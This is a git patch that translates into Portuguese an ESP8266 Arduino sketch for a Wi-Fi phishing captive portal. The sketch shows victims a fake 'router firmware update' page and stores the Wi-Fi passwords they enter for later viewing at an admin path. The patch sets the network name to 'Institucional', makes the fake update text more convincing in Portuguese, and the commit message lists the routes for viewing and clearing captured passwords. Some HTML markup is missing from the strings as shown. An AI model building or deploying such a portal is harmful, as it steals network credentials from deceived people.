From a70ec870333fa1ee8d8857c5d3b307ec1a842db2 Mon Sep 17 00:00:00 2001 From: Isaac Silva <55949467+isaacfloriano@users.noreply.github.com> Date: Mon, 19 Oct 2020 18:24:42 -0300 Subject: [PATCH] =?UTF-8?q?Atualiza=C3=A7=C3=A3o=20em=20portugu=C3=AAs=20W?= =?UTF-8?q?iFi=5FCaptive=5FPortal.ino?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Está é uma versão em português, modifiquei algumas coisas na interface com proposito de facilitar na leitura. Segue os locais no servidor: Para configurar o nome da rede 172.0.0.1/ssid Para ver as senhas 172.0.0.1/senhas Para limpar as senhas 172.0.0.1/limpar versão do projeto original: https://github.com/125K/ESP8266_WiFi_Captive_Portal/blob/master/WiFi_Captive_Portal.ino --- WiFi_Captive_Portal.ino | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) diff --git a/WiFi_Captive_Portal.ino b/WiFi_Captive_Portal.ino index aa76dd7..a1dffaf 100644 --- a/WiFi_Captive_Portal.ino +++ b/WiFi_Captive_Portal.ino @@ -1,5 +1,6 @@ // ESP8266 WiFi Captive Portal // By 125K (github.com/125K) +// modificado por Isaac Silva (github.com/isaacfloriano) // Libraries #include @@ -8,16 +9,16 @@ #include // Default SSID name -const char* SSID_NAME = "Free WiFi"; +const char* SSID_NAME = "Institucional"; // Default main strings -#define SUBTITLE "Router info." -#define TITLE "Update" -#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." -#define POST_TITLE "Updating..." -#define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.
Thank you." +#define SUBTITLE "Informação do roteador." +#define TITLE "Atualizar" +#define BODY "O firmware do seu roteador está desatualizado. Atualize seu firmware para continuar navegando normalmente." +#define POST_TITLE "Atualizando..." +#define POST_BODY "Seu roteador está sendo atualizado. Por favor, espere até que o processo termine.
Obrigado." #define PASS_TITLE "Passwords" -#define CLEAR_TITLE "Cleared" +#define CLEAR_TITLE "Liberado(a)" // Init system settings const byte HTTP_CODE = 200; @@ -44,7 +45,7 @@ String input(String argName) { a.substring(0,200); return a; } String footer() { - return ""; + return ""; } String header(String t) { @@ -67,7 +68,7 @@ String header(String t) { return h; } String index() { - return header(TITLE) + "
" + BODY + "
"+ + return header(TITLE) + "
" + BODY + "
"+ "" + footer(); } @@ -89,11 +90,11 @@ String posted() { } String pass() { - return header(PASS_TITLE) + "
    " + allPass + "

Back to Index

Clear passwords

" + footer(); + return header(PASS_TITLE) + "
    " + allPass + "

Voltar ao início

Limpar senhas

" + footer(); } String ssid() { - return header("Change SSID") + "

Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.

" + "
"+ + return header("Change SSID") + "

Aqui você pode alterar o nome SSID. Depois de pressionar o botão \"Change SSID\" você perderá a conexão, então reconecte-se ao novo SSID.

" + ""+ "
" + footer(); } @@ -112,7 +113,7 @@ String clear() { passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0'); EEPROM.commit(); - return header(CLEAR_TITLE) + "

The password list has been reseted.

Back to Index
" + footer(); + return header(CLEAR_TITLE) + "

A lista de senhas foi redefinida.

Voltar ao início
" + footer(); } void BLINK() { // The built-in LED will blink 5 times after a password is posted. @@ -181,8 +182,8 @@ void setup() { webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); - webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); - webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); + webServer.on("/senhas",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); + webServer.on("/limpar",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin();